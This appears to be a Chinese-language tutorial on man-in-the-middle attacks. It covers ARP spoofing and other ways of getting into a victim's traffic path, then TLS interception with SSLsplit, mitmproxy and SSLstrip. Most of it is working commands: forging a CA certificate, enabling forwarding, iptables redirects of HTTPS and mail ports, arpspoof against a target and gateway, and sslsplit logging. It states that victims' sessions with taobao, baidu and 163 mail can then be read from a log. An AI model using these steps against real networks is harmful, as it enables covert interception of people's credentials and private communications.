概念
通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。
攻击者位于通信链路中
- ARP地址欺骗
- DHCP
- 修改网关
- 修改DNS
- 修改HOSTS
- ICMP协议,STP协议,OSPF路由协议
攻击前提
- 客户端已经信任伪造证书
- 攻击者控制了核发证书颁发机构
- 客户端程序禁止了显示证书错误警告信息
- 攻击者已控制客户端,强制信任伪造证书
解密中间人流量的工具
SSLsplit
- 透明SSL/TLS中间人攻击工具
- 对客户端伪装服务器,对服务器伪装成普通客户端
- 需要攻击者自己伪造证书
- 支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击
- 浏览器会有“证书不可信”的警告信息
Mitmproxy
- 只能在8080端口侦听
- 浏览器会有“证书不可信”的警告信息
- 默认集成有伪造证书
SSLstrip
- 与前两种工具不同,将客户端到中间人之间的流量变为明文
-
与客户端所有的HTTPS连接都用HTTP来代替,同时与服务器建立正常的HTTPS连接
- 没有“证书不可信”的警告信息,客户端显示的URL会由 https:// 变成 http://
攻击流程
00x0 使用 SSLsplit
- 利用openssl生成证书私钥 ca.key
openssl genrsa -out ca.key 2048
- 利用私钥签名生成证书 ca.crt
openssl req -new -x509 -days 1096(有效天数) -key ca.key -out ca.crt
- 启动路由
sysctl -w net.ipv4.ip_forward=1 另一种方法: echo 1 > /proc/sys/net/ipv4/ip_forward
- Iptables端口转发规则
iptables -t nat -F #清空所有规则 #将80端口转发到8080端口侦听 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 #http #将443,587,465,993,995端口转发到8443端口侦听 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 #https iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S iptables -t nat -L #显示所有规则
- Arp欺骗 ,截获目标主机的网络流量
arpspoof -i eth0 -t 目标IP -r 目标主机网关
- 启动SSLsplit
mkdir -p test/logdir #指定密钥和证书,将侦听的信息保存在/root/test/logdir/connect.log里 sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
- 被害者访问taobao、baidu、mail.163.com 等网站,然后可以去connect.log查看信息了
- 也可以用ettercap嗅探
ettercap -T -q -i eth0
- 如果客户端安装服务器根证书之后再次访问 ,就没有“证书不可信”的警告信息了
00x1 使用 Mitmproxy
-
启动路由
-
Iptables端口转发规则
iptables -t nat -F iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --toport 8080
-
Arp欺骗
-
启动 Mitmproxy
mitmproxy -T --host -w mitmproxy.log
00x2 使用 SSLstrip
- 启动路由
- Arp欺骗
- 启动 SSLstrip
sslstrip -l 8080
00x3 Ettercap
Ettercap 是一个非常强大的中间人攻击工具,可以感染通信 、删除通信、窃听密码 、为 HTTPS 提供假证书 、实施 DNS 欺骗,使用方法网上有很多教程,本文不再赘述